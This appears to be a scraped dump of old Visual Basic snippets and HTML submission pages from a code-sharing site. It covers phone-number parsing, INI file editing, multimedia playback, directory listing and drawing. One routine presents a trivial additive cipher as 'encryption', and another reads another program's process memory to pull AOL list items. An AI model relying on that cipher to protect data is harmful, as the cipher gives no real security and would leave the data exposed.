(ptrWhere + 7))\n strReal = Left$(strReal, ptrWhere - 5) & _\n Right$(strReal, Len(strReal) - _\n (ptrWhere + 7))\n Else\n ' Area code not included - use default\n ' Add phone number to list of possibles\n ptrPossible = ptrPossible + 1\n ReDim Preserve aPossible(ptrPossible)\n aPossible(ptrPossible) = strDefaultAreaCode & _\n \"-\" & Mid$(strReal, ptrWhere, 8)\n \n ' Extract the substring from the abstract\n ' and real string so they don't get in the way of\n ' the next search\n strAbstract = Left$(strAbstract, ptrWhere - 1) & _\n Right$(strAbstract, Len(strAbstract) _\n - (ptrWhere + 7))\n strReal = Left$(strReal, ptrWhere - 1) & _\n Right$(strReal, Len(strReal) - _\n (ptrWhere + 7))\n End If\n Else\n ' Too close to the front of the string - can't\n ' have area code\n ' Use default area code\n ' Add phone number to list of possibles\n ptrPossible = ptrPossible + 1\n ReDim Preserve aPossible(ptrPossible)\n aPossible(ptrPossible) = strDefaultAreaCode & \"-\" & _\n Mid$(strReal, ptrWhere, 8)\n \n ' Extract the substring from the abstract\n ' and real string so they don't get in the way\n ' of the next search\n strAbstract = Left$(strAbstract, ptrWhere - 1) & _\n Right$(strAbstract, Len(strAbstract) - _\n (ptrWhere + 7))\n strReal = Left$(strReal, ptrWhere - 1) & _\n Right$(strReal, Len(strReal) - (ptrWhere + 7))\n End If\n End If\n End If\nLoop Until ptrWhere = 0\n' Finished! Set function result to the array of possible phone numbers\nFindPhoneNo = aPossible\nExit_FindPhoneNo:\n Exit Function\nEnd Function\nFunction TestIt()\nDim aPhoneNumbers() As String\nDim ptrNumber As Long\naPhoneNumbers = FindPhoneNo(\"blah blah blah (800) - 555 - 1212 blah 555 1212 blah 350319 340193 blah blah 800/349/49/40 bl 800/349/0044 ah \", \"800\")\nFor ptrNumber = 1 To UBound(aPhoneNumbers)\n Debug.Print aPhoneNumbers(ptrNumber)\nNext ptrNumber\nEnd Function\n"},{"WorldId":1,"id":6103,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7380,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7401,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6719,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6115,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6118,"LineNumber":1,"line":"'Place this in a module for use in the future:\nPublic Sub Object_Center(Frm As Form, Cntrl As Object)\n'To call it, you would simply do:\n'Call Object_Center(Form1, Text1)\n'and that will center Text1 in the middle of your\n'screen, no matter how big, or where Form1 is\nCntrl.Top = (Screen.Height * 1#) / 2 - Cntrl.Height / 2\nCntrl.Left = (Screen.Width * 1#) / 2 - Cntrl.Width / 2\nEnd Sub"},{"WorldId":1,"id":6132,"LineNumber":1,"line":"Public Function INIRead(iAppName As String, iKeyName As String, iFileName As String) As String\n'Example:\n 'x = INIRead(\"boot\", \"shell\", \"C:\\WINDOWS\\system.ini\")\n Dim iStr As String\n iStr = String(255, Chr(0))\n INIRead = Left(iStr, GetPrivateProfileString(iAppName, ByVal iKeyName, \"\", iStr, Len(iStr), iFileName))\nEnd Function\nPublic Function INIWrite(iAppName As String, iKeyName As String, iKeyString As String, iFileName As String)\n'Example:\n 'x = INIWrite(\"boot\", \"shell\", \"Explorer.exe\", \"C:\\WINDOWS\\system.ini\")\nr% = WritePrivateProfileString(iAppName, iKeyName, iKeyString, iFileName)\nEnd Function\n"},{"WorldId":1,"id":8527,"LineNumber":1,"line":"Function TEncrypt (iString)\nOn Error GoTo uhoh\nQ = \"\"\na = randomnumber(9) + 32\nb = randomnumber(9) + 32\nc = randomnumber(9) + 32\nd = randomnumber(9) + 32\nQ = Chr(a) & Chr(c) & Chr(b)\ne = 1\nFor x = 1 To Len(iString)\nf = Mid(iString, x, 1)\n \n If e = 1 Then Q = Q & Chr(Asc(f) + a)\n If e = 2 Then Q = Q & Chr(Asc(f) + c)\n If e = 3 Then Q = Q & Chr(Asc(f) + b)\n If e = 4 Then Q = Q & Chr(Asc(f) + d)\ne = e + 1\nIf e > 4 Then e = 1\nNext x\nQ = Q & Chr(d)\nTEncrypt = Q\nExit Function\nuhoh:\nTEncrypt = \"Error: Invalid text to Encrypt\"\nExit Function\nEnd Function\n\nFunction TDecrypt (iString)\nOn Error GoTo uhohs\nQ = \"\"\nzz = Left(iString, 3)\na = Left(zz, 1)\nb = Mid(zz, 2, 1)\nc = Mid(zz, 3, 1)\nd = Right(iString, 1)\na = Int(Asc(a)) 'key 1\nb = Int(Asc(b)) 'key 2\nc = Int(Asc(c)) 'key 3\nd = Int(Asc(d)) 'key 4\ntxt = Left(iString, Len(iString) - 1)\ntxt2 = Mid(txt, 4, Len(txt)) 'encrypted text\ne = 1\nFor x = 1 To Len(txt2)\nf = Mid(txt2, x, 1)\n \n If e = 1 Then Q = Q & Chr(Asc(f) - a)\n If e = 2 Then Q = Q & Chr(Asc(f) - b)\n If e = 3 Then Q = Q & Chr(Asc(f) - c)\n If e = 4 Then Q = Q & Chr(Asc(f) - d)\ne = e + 1\nIf e > 4 Then e = 1\nNext x\nTDecrypt = Q\nExit Function\nuhohs:\nTDecrypt = \"Error: Invalid text to Decrypt\"\nExit Function\nEnd Function\n\nFunction randomnumber (finished)\nRandomize\nrandomnumber = Int((Val(finished) * Rnd) + 1)\nEnd Function\n"},{"WorldId":1,"id":8806,"LineNumber":1,"line":"Function AOLGetList32 (tree, Index As Integer, Buffer As String)\n'Tree = The listbox\n'Index = Listbox Index\n'Buffer = output\n'Example:\n' a = GetList32(SomeList&, 0, Buffer$)\n' MsgBox Buffer$\n'Buffer is the text that was taken from the 32 bit\n'listbox.\nOn Error Resume Next\nDoEvents: idGetWindowThreadProcessId = Declare32(\"GetWindowThreadProcessId\", \"user32\", \"ip\")\nDoEvents: idOpenProcess = Declare32(\"OpenProcess\", \"kernel32\", \"ppi\")\nDoEvents: idReadProcessMemory = Declare32(\"ReadProcessMemory\", \"kernel32\", \"iipip\")\nDoEvents: idRtlMoveMemory = Declare32(\"RtlMoveMemory\", \"kernel32\", \"ppi\")\nDoEvents: idCloseHandle = Declare32(\"CloseHandle\", \"kernel32\", \"p\")\nDim AOLProcess As Long\nDim ListItemHold As Long\nDim PerSon As String\nDim ListPersonHold As Long\nDim ReadBytes As Long\nAOLThread = GetWindowThreadProcessId(tree, AOLProcess, idGetWindowThreadProcessId)\nAOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AOLProcess, idOpenProcess)\nIf AOLProcessThread Then\nPerSon$ = String$(4, 0&)\nListItemHold = SendMessage(tree, LB_GETITEMDATA, ByVal CLng(Index), ByVal 0&)\nListItemHold = ListItemHold + 24\nCall ReadProcessMemory(AOLProcessThread, ListItemHold, PerSon$, 4, ReadBytes, idReadProcessMemory)\nCall RtlMoveMemory(ListPersonHold, ByVal PerSon$, 4, idRtlMoveMemory)\nListPersonHold = ListPersonHold + 6\nPerSon$ = String$(17, 0&)\nCall ReadProcessMemory(AOLProcessThread, ListPersonHold, PerSon$, Len(PerSon$), ReadBytes, idReadProcessMemory)\nPerSon$ = Left$(PerSon$, InStr(PerSon$, Chr(0)) - 1)\nCall CloseHandle(AOLProcessThread, idCloseHandle)\nEnd If\nBuffer$ = PerSon$\nEnd Function\n"},{"WorldId":1,"id":9290,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6244,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7291,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10288,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10528,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8425,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6175,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6179,"LineNumber":1,"line":"' This should work with ALL versions of VB, BUT \n' It was only tested with VB4 (16-Bit). I will\n' Be sure to test it on VB6. Just Follow the code\n' Below\nMake a timer and name it Timer1\n Set its Enabled property to False\nNow set its Interval Property to the time you want the action to occur.\nMake 2 command buttons. \nLabel 1 of them ON\n and\nthe other OFF.\n'In Timer1 Place the following code\nretvalue = mciSendString(\"set CDAudio door open\", returnstring, 127, 0) \nretvalue = mciSendString(\"set CDAudio door closed\", returnstring, 127,0)\n' In Command1 labeled On place the following code\nTimer1 = Enabled\n' In Command2 labeled OFF place the following code\nTimer1 = Disbaled\n"},{"WorldId":1,"id":6181,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6187,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9662,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6191,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6196,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6220,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6234,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6212,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6252,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6228,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6217,"LineNumber":1,"line":"'FACED WITH THE PROBLEM OF SHOWING OFFICE CODES\n'FOR OFFICES WITH DUPLICATE NAMES IN A LISTBOX, \n'AND NOT WANTING TO INCUDE THE NUMBER IN THE \n'TEXT ENTRY IN THE LISTBOX, I DEVELOPED A QUICK\n'WAY OF SHOWING THE NUMBER WHICH WAS STORED IN\n'THE LISTBOX ITEMDATA PROPERTY.\n'\n'NOTE:\n'WordHeight = 195 (depending on the font used).\n'\n'THIS CODE IS AN IMPROVEMENT UPON CODE PREVIOUSLY\n'SUBMITTED BY ANOTHER VB PROGRAMMER INWHICH THE\n'PROGRAMMER LOOPED THROUGH EVERY ITEM IN THE \n'LISTBOX TO DETERMINE WHICH TEXT TO DISPLAY IN THE\n'TOOLTIP. THE PROBLEM ENCOUNTERED BY THAT CODE WAS\n'THAT IT DID NOT WORK FOR LARGE LISTBOXES WITH \n'ENTRIES GREATER THAN 167. ON THE 168th ENTRY, AN\n'OVERFLOW ERROR WAS ENCOUNTERED. MY CODE IS FASTER\n'AND TAKES YOU DIRECTLY TO THE ENTRY WITHOUT \n'LOOPING THROUGH THE LIST.\n'\nPrivate Sub ListBox1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Dim index As Integer\n \n index = ListBox1.TopIndex + ((Y) / WordHeight)\n ListBox1.ToolTipText = Str(ListBox1.ItemData(index))\n \nEnd Sub\n"},{"WorldId":1,"id":6219,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6349,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9783,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\"\ncontent=\"text/html; charset=windows-1256\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage Express 2.0\">\n<title>Are you Sure wanna using API to Playing video or audio files and forget ocx?</title>\n</head>\n<body>\nWow\nVersion 6.1\n<code>Are\nyou Sure wanna using Windows API to Playing video *.dat) or audio\n(including (including *.mpg and *.mp3) or Midi files and forget\nocx? \nThen Download this source.</code>\n<code>I\nknow the Controls like MCI32.ocx, ActiveMovie and Media player\ncan do this but the control have disadvantages like it size about\nmore than 90 kb,but now your program just will increased 6 kilo\nbytes(this size of the Module) and not take system resources.</code>\n┬á\nNote : This\nsource code Support DVD's Video if you had VGA Card Support DVD\nlike ATI RAGE II Or All in Wonder 128.\nPlease reRead\nthe description for Function OpenMultimedia in the Module or in\nthe form(This simple update for version 5.0)\n<div align=\"center\"><center>\n<table border=\"1\">\n <tr>\n <td>Advantages\n for this Source Code\n <var>1-This code\n Just use </var><var>Windows</var><font\n size=\"3\" face=\"Comic Sans MS\"><var> </var><font\n color=\"#FF0000\" size=\"3\" face=\"Comic Sans MS\"><var>API\n calls (no ocx) ,no install new dll</var><font\n size=\"3\" face=\"Comic Sans MS\"><var>.</var>\n <var>2-This code\n work </var><var>useful for Windows98,</var><font\n color=\"#800000\" size=\"3\" face=\"Comic Sans MS\"><var>Windows\n 2000 and Windows NT </var><var>without installing any\n other programs</var><var>.</var>\n <var>3-It has </var><font\n color=\"#FF0000\" size=\"3\" face=\"Comic Sans MS\"><var>ready\n functions in the Module or Dll for Standerd use just for\n copy and paste in your own projects</var><font\n size=\"3\" face=\"Comic Sans MS\"><var>.</var>\n <var>4-More </var><font\n color=\"#FF0000\" size=\"3\" face=\"Comic Sans MS\"><var>faster</var><font\n size=\"3\" face=\"Comic Sans MS\"><var> than WinAmp and Xing\n Mpeg in playing and viewing Movie.</var>\n <var>5-It can\n playing all Multimedia files by </var><font\n color=\"#FF0000\" size=\"3\" face=\"Comic Sans MS\"><var>less\n lines included</var><var> mp3,mpg,avi,wav..etc.</var>\n <var>6-It has </var><font\n color=\"#FF0000\" size=\"3\" face=\"Comic Sans MS\"><var>the\n most controls</var><var> for multimedia files(keep on\n reading the page and you will know the controls).</var>\n <var>7-It can open\n </var><var>all movie files</var><font\n size=\"3\" face=\"Comic Sans MS\"><var>.</var>\n <var>8-It have </var><font\n color=\"#FF0000\" size=\"3\" face=\"Comic Sans MS\"><var>descriptions.</var>\n <var>9-It Include\n four Sources in the zip (three for vb and dll in C++).</var>\n <var>10-It for all\n Levels (advanced - intermediate - beginner).</var>\n <var>11-very easy\n (read the code carefully).</var>\n <var>12-Others (keep\n on reading this page).</var>\n </td>\n </tr>\n</table>\n</center></div>\nThis code Updated to be more well Download\nit again\nPlease\nreRead the descriptions for function OpenMultimedia in\nthe form or in the Module.\n<div align=\"center\"><center>\n<table border=\"1\">\n <tr>\n <td>Version 6.1 \n Special thanks to <font\n color=\"#FF0000\" face=\"Comic Sans MS\">\"Hans de Vries\"\n For Notice me about bug when playing rmi files in some\n computers (it was repaired).\n Version 6.0\n For request Members planet-source-code\n I add four Functions:\n 1-Two Functions to deal with\n volume audio for every channel(left or right) or the the\n both:\n one to get volume for every channel\n audio and the another to set volume for every channel or\n the both.\n NOTE: Contolling with volume for\n every Multimedia file not for all Multimedia files(not\n like Mixer windows).\n 2-Two Functions to deal with\n Rate playing Multimedia file (one to increase speed\n playing or decrease speed playing and the another to get\n current Rate).\n NOTE: Contolling with Rate for every\n Multimedia file not for all Multimedia files.\n Via this version you can watch a\n movie file and also playing mp3 file at the same time and\n decrease the volume for mp3 in one channel or the both.\n See the screenshot.\n Good luke.\n Version 5.0\n 1-In this version there were\n common errors in Windows 2000 was repaired <font\n color=\"#800000\" size=\"3\" face=\"Comic Sans MS\">(now the\n code useful for win2000).\n 2-I added Function for\n Channels Audio Control (see the screenshot).\n <code>What\n the </code><code>Advantages\n for this Update?</code>\n you can here play on Left channel\n audio file and on right channel another audio file at the\n same time Or:\n play the file two times at the same\n time one on the left and the another on the right. \n Click on buttons \"Demo\" to\n see some effect by this way.\n Note: you must Extract all files\n from the zip.\n Good luke.\n (Update IIII)\n <code>there\n were some common errors in Windows NT4 was repaired (Special\n thanks to Alex for notice me)</code>\n <code>and\n I added function for request memebers to get the actual\n size and current size.</code>\n <code>Note\n the update just in source \"MultiMedia Contoller\"</code>\n (Update III)\n <code>I\n added the source code which sent to MSDN library and it\n Update for previous version from \"Pure API\".</code>\n <code>What\n the </code>Advantages for this Update?\n It can open more than one Multimedia\n file at the same time and play it .\n e.g.\n (you can play more than one mp3 or\n movie at the same time).\n Important note: You can play a lot\n files at same time if it from type \"MPEGVideo\"\n this mean just the following types you can play it\n altogther :\n qt,mov,\n dat,snd, mpg<font\n color=\"#800080\" size=\"2\">, mpa, mpv, enc, m1v, mp2,<font\n color=\"#FF0000\" size=\"2\">mp3, mpe, mpeg, mpm au,snd, aif, aiff,\n aifc,wav,,etc.\n and the\n following types can not play altogether :\n mid,rmi,avi.\n becsause the sound card will be busy.\n anyway\n most peoples using mpg,dat,mov,etc for the movie and mp3,mp2,mp1,wav,etc\n for the audio and if you have movie (avi) you can convert\n it to mpg ,dat ,mov or any other mpegs types and play it\n altogther.\n if you\n wanna the ways to convert avi to mpegs types please\n contact to me at : a_ahdal@yahoo.com\n this will benefit you if you wanna\n make some simple games,,etc.\n see the picture in this page to show\n the program.\n (UPDATE II)\n <code>I\n added two Functions one to Get Frames per Second</code>\n <code>and\n the Another to let you know if the File Multimedia at the\n End (this benefit you if you wanna play a list of\n Multimedia Files).</code>\n (UPDATE I)\n <code>You can by this update to\n open any file even have spaces.(Special Thanks to Janet)</code>\n <code>And I added two Functions to\n repair any problem will met you if you used Xing Mpeg\n Drivers.</code>\n </td>\n </tr>\n</table>\n</center></div>\n \nYou can here Play all MultiMeida Files by\nPure API \n\n<div align=\"center\"><center>\n<table border=\"1\">\n <tr>\n <td align=\"center\">in first if you wanna playing these types: \n qt , mov, dat,snd, mpg, mpa, mpv, enc, m1v, mp2,mp3, mpe,\n mpeg, mpm \n au , snd, aif, aiff, aifc,wav. \n The Secret is: \n You Must use when you write Command To MCI by Function \n mciSendString write like this : \n open c:\\myfile type MpegVideo .......etc \n note: we written \"MpegVideo\" as a type \n and we will written \n open c:\\myfile type AviVideo .......etc \n if we wanna opening avi files \n I got this info \"MPEGVideo\"\n for how you can plays MPEGs types from my experinace when \n I openned file system.ini and I saw the section of MCI\n like this:</td>\n </tr>\n</table>\n</center></div><div align=\"center\"><center>\n<table border=\"1\">\n <tr>\n <td align=\"center\"><code>extensions</code></td>\n <td align=\"center\"><code>Type</code></td>\n <td align=\"center\"><code>extensions</code></td>\n <td align=\"center\"><code>Type</code></td>\n </tr>\n <tr>\n <td align=\"center\"><code>snd</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\"><code>Mid</code></td>\n <td align=\"center\"><code>Sequencer</code></td>\n </tr>\n <tr>\n <td align=\"center\"><code>qt</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\"><code>rmi\n </code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n </tr>\n <tr>\n <td align=\"center\"><code>dat</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\"><code>wav</code></td>\n <td align=\"center\"><code>waveaudio</code></td>\n </tr>\n <tr>\n <td align=\"center\"><code>mpg</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\"><code>avi\n </code></td>\n <td align=\"center\"><code>AVIVideo</code></td>\n </tr>\n <tr>\n <td align=\"center\"><code>mpeg</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\"><code>cda</code></td>\n <td align=\"center\"><code>CDAudio</code></td>\n </tr>\n <tr>\n <td align=\"center\"><code>mpe</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\"><code>aif\n </code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n </tr>\n <tr>\n <td align=\"center\"><code>mpa</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\"><code>aiff</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n </tr>\n <tr>\n <td align=\"center\">mp2</td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\"><code>aifc</code></td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n </tr>\n <tr>\n <td align=\"center\">mov</td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\">m1v</td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n </tr>\n <tr>\n <td align=\"center\">au</td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n <td align=\"center\">vob (DVD)</td>\n <td align=\"center\"><code>MPEGVideo</code></td>\n </tr>\n</table>\n</center></div>\n<table border=\"1\">\n <tr>\n <td align=\"middle\">this mean if you wanna open mpg or\n dat file you will choose \n type \"MpegVideo\" \n and if you wanna open avi Files you will choose type\n \"AviVideo\" \n And Remember Dealing with type \"MpegVideo\" like\n dealing with type \n \"AviVedio\" \n You can also found this info I downloaded it in a\n Complete program in planet source in the past \n Under Name \"<a\n href=\"http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=6349\"\n target=\"_blank\">MPEG\n Viewer</a>\"\n to playing video in any place you want for e.g. in your\n Desktop. \n anyway maybe you will say now I wanna a standard commands\n in a module or dll to dealing with \n \"MpegVideo\" and other types like : \n \n <div align=\"center\"><center><table border=\"1\">\n <tr>\n <td align=\"center\"><font\n size=\"2\" face=\"Comic Sans MS\">1-Open most\n multimmedia files \n 2-Playing it\n 3-Pause it\n 4- Stop it\n 5-Resume it\n 6-Close it\n 7-Get Current position(current\n frame)\n 8-Get current time\n 9-Get Percent of playing\n file\n 10-make it auto Repeat\n 11-Get Total frames\n 12- Get Total Time\n 13-Get the Status of file if\n it \"playing or stopped or paused\"\n 14-Get actual size (new).\n 15-Get current size (new).\n 16-Resize the movie.\n 17-Get number frames per\n second\n 18-let you know if\n multimedia at the end now.\n 19-Get current Rate.(new)\n 20-increase or decrease rate\n playing.(new)\n 21-Get current volume for\n every channel (left or right) or the both.(new)\n 22-Set volume for every\n channel (left or right) or the both.(new)\n 23- turn off or turn on\n every channel or the both.(new)\n </td>\n </tr>\n </table>\n </center></div>You have three ways to doing this: \n 1-if you are using VB and wanna uses\n module in your code and calling the functions from it (this\n option is the best for you).the exe are \"Multimedia\n Controller.exe\" and \"Pure API.exe\"\n 2-if you are using VB and wanna uses\n library dll made by C++ to calling functions the exe is\n \"calldll.exe\". \n \n 3-if you are using VC++ and <font\n color=\"#008080\" size=\"2\" face=\"Comic Sans MS\">wanna\n calling functions from dll or copy and paste the functons\n in your projects.(well option for who using VC++)\n Note there are Update III which sent\n to MSDN library under name \"Multimedia Controller\"<font\n color=\"#FF00FF\" size=\"2\" face=\"Comic Sans MS\"> \n \n Please Download the code and read it\n carefully\n Note:\n I downloaded the source of the dll.\n if\n you are wanna using the module you can calling the\n functions from the Module without using the dll. \n if you are advanced you can read the dll and the module\n or if you are Beginner just <font\n color=\"#FF0000\" size=\"2\" face=\"Comic Sans MS\">copy and\n paste the module in your project and just\n know how you can calling the functions(very easy for all\n levels Advanced -Intermediate-Beginner).<font\n size=\"2\" face=\"Comic Sans MS\"> \n Note : I written the DLL in C++ and\n the Module in Visual basic for Planet-Source Specially\n and for standard use and you can Develop it,but please\n send to me a copy:).\n </td>\n </tr>\n</table>\nNote all Multimedia extensions you can play\nit\nYou have in Module and dll a standard\nFunctions for all users to Do what you want in Multimedia(commands\nvery easy, any one can use it)\nI Think You will never use any controls for\nMultimedia If you Downloaded This Code.<font\ncolor=\"#008000\" size=\"3\" face=\"Comic Sans MS\"> \n \nI think you\nwhile reading the source you will forget vote me , don't forget=:)Okay?. \n\nEnjoy<font\nface=\"Comic Sans MS\"> \n\n<div align=\"center\"><center>\n<table border=\"1\">\n <tr>\n <td><code>Nice\n Example</code>\n <a href=\"http://programmer2000.tripod.com/oops.mpg\"\n target=\"_blank\"><code>Download\n Sample Movie</code></a>\n <code>Run the\n program and Select the Movie which you downloaded it </code>\n <code>1-Click on\n button \"open\" and </code>\n <code>2-write in\n textbox \"from\" Value \"20\"</code>\n <code>3-write in\n textbox \"to\" Value \"70\"</code>\n <code>4-Click on\n button \"play\"</code>\n <code>5-Set check\n auto repeat true</code>\n <code>This Example\n will let the movie played from frame number 20 to frame\n number 70</code>\n <code>Listen the\n Songer will say \"Think in love\" (just). :).</code>\n <code>if you want\n to play the file from beginning to end remove any value\n from testbox \"from\"</code>\n <code>and textbox\n \"to\" .Enjoy :)</code>\n </td>\n </tr>\n</table>\n</center></div>\n</body>\n</html>\n"},{"WorldId":1,"id":10405,"LineNumber":1,"line":"<HTML>\n<HEAD>\n<META NAME=\"GENERATOR\" Content=\"Microsoft Visual Studio 6.0\">\n<TITLE></TITLE>\n</HEAD>\n<BODY>\nHello Members planet source code.\nUpdate IIII NOT III (this code from the winners for this \nmonth)\nAre you search for Player for All Multimedia Files \nincluding mp3,mpg..etc just via PURE windows API (no any OCXs) .\nAnd also make the following controls just via API:\n1-Open most multimmedia files. 2-Playing it\n3-Pause it\n4- Stop it\n5-Resume it\n6-Close it\n7-Get Current position(current frame)\n8-Get current time\n9-Get Percent of playing file\n10-make it auto Repeat\n11-Get Total frames\n12- Get Total Time\n13-Get the Status of file if it \"playing or stopped or \npaused\"\n14-Get actual size \n(new).\n15-Get current size \n(new).\n16-Resize the movie.\n17-Get number frames per second\n18-let you know if multimedia at the end \nnow\n<A \nhref=\"http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=9783\">http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=9783</A>\n(there are Module for Standard use and has \nready functions)\nWritten once to use it every time.\nEnjoy to Make your own \nPlayer.\n</BODY>\n</HTML>\n"},{"WorldId":1,"id":6290,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6233,"LineNumber":1,"line":"Function ListSubDirs(ByVal Path As String) As Variant\n 'returns an array of directory names\n On Error Resume Next\n Dim Count, Dirs(), i, DirName ' Declare variables.\n DirName = Dir(Path, vbDirectory) ' Get first directory name.\n Count = 0\n Do While Not DirName = \"\"\n ' A file or directory name was returned\n If Not DirName = \".\" And Not DirName = \"..\" Then\n ' Not a parent or current directory entry so process it\n If GetAttr(Path & DirName) And vbDirectory Then\n ' This is a directory\n ' Increase the size of the array by one element\n ReDim Preserve Dirs(Count + 1)\n Dirs(Count) = DirName ' Add directory name to array\n Count = Count + 1 ' Increment counter.\n End If\n End If\n DirName = Dir ' Get another directory name.\n Loop\n ReDim Preserve Dirs(Count - 1) 'remove the last empty element\n ListSubDirs = Dirs()\nEnd Function\n\nFunction ListFiles(ByVal Path As String) As Variant\n 'returns an array of file names\n On Error Resume Next\n Dim Count, Files(), i, FileName ' Declare variables.\n Count = 0\n FileName = Dir(Path, 6) ' Get first file name.\n Do While Not FileName = \"\"\n If Not FileName = \".\" And Not FileName = \"..\" Then\n 'Not a parent or current directory entry so process it\n If Not GetAttr(Path & FileName) And vbDirectory Then\n 'This is a file\n 'Increase the size of the array by one element\n ReDim Preserve Files(Count + 1)\n Files(Count) = FileName 'Add Filename to array.\n Count = Count + 1 'Increment counter\n End If\n End If\n FileName = Dir ' Get another file name.\n Loop\n ReDim Preserve Files(Count - 1) 'remove the last empty element\n ListFiles = Files()\nEnd Function\n"},{"WorldId":1,"id":8559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6438,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6249,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6264,"LineNumber":1,"line":"' Before you start anything you should create: 1 picturebox, 1 textbox, 1 command button. Size the picture box so it is pretty big in size and it should be EXACTLY squared so the design looks nice! To do so make sure the scalewidth and scaleheight in the properties section are equal to each other. Now put the following code into the command button.\nPrivate Sub Command1_Click()\nIf Text1 <= 0 Then Exit Sub\nPicture1.Cls\nw = Picture1.ScaleWidth / Text1\nh = Picture1.ScaleHeight / Text1\n' top to left\nFor draw = 0 To Text1\n Picture1.Line (0 + (w * draw), 0)-(0, Picture1.ScaleHeight - (h * draw))\nNext draw\n' left to bottom\nFor draw = 0 To Text1\n Picture1.Line (0, 0 + (h * draw))-(0 + (w * draw), Picture1.ScaleHeight)\nNext draw\n' bottom to right\nFor draw = 0 To Text1\n Picture1.Line (0 + (w * draw), Picture1.ScaleHeight)-(Picture1.ScaleWidth, Picture1.ScaleHeight - (h * draw))\nNext draw\n' right to top\nFor draw = 0 To Text1\n Picture1.Line (Picture1.ScaleWidth, 0 + (h * draw))-(0 + (w * draw), 0)\nNext draw\nEnd Sub"},{"WorldId":1,"id":7124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6270,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6362,"LineNumber":1,"line":"'\n' Sorry I haven't put the declarations in it's box and all that jazz, but I did it like this\n' So that you could select it all and just place it into a new form.\n' Yes, it's that easy. Create a new form, copy and paste this code.\n' Then click on the form and hold down the mouse, and drag over to another window.\n'\n' Jolyon Bloomfield, February 2000\n'\n' A note to using this code: I guess since I've put it here, anybody can use it.\n' If you do, please give me credit for the hard work that I put into this.\n' It wasn't an easy process, and I don't want anybody taking credit for my work.\n'\n'\n' The only bug I've found, is that when a window is maximised, it has coordinates\n' that exceed the bounding area of the screen. I tried to offset this effect,\n' but gave up.\n'\nOption Explicit ' Require variable Declaration\n' PointAPI and RECT are the two most common structures used in graphics in Windows\nPrivate Type POINTAPI\n X As Long\n Y As Long\nEnd Type\nPrivate Type RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long ' Get the cursor 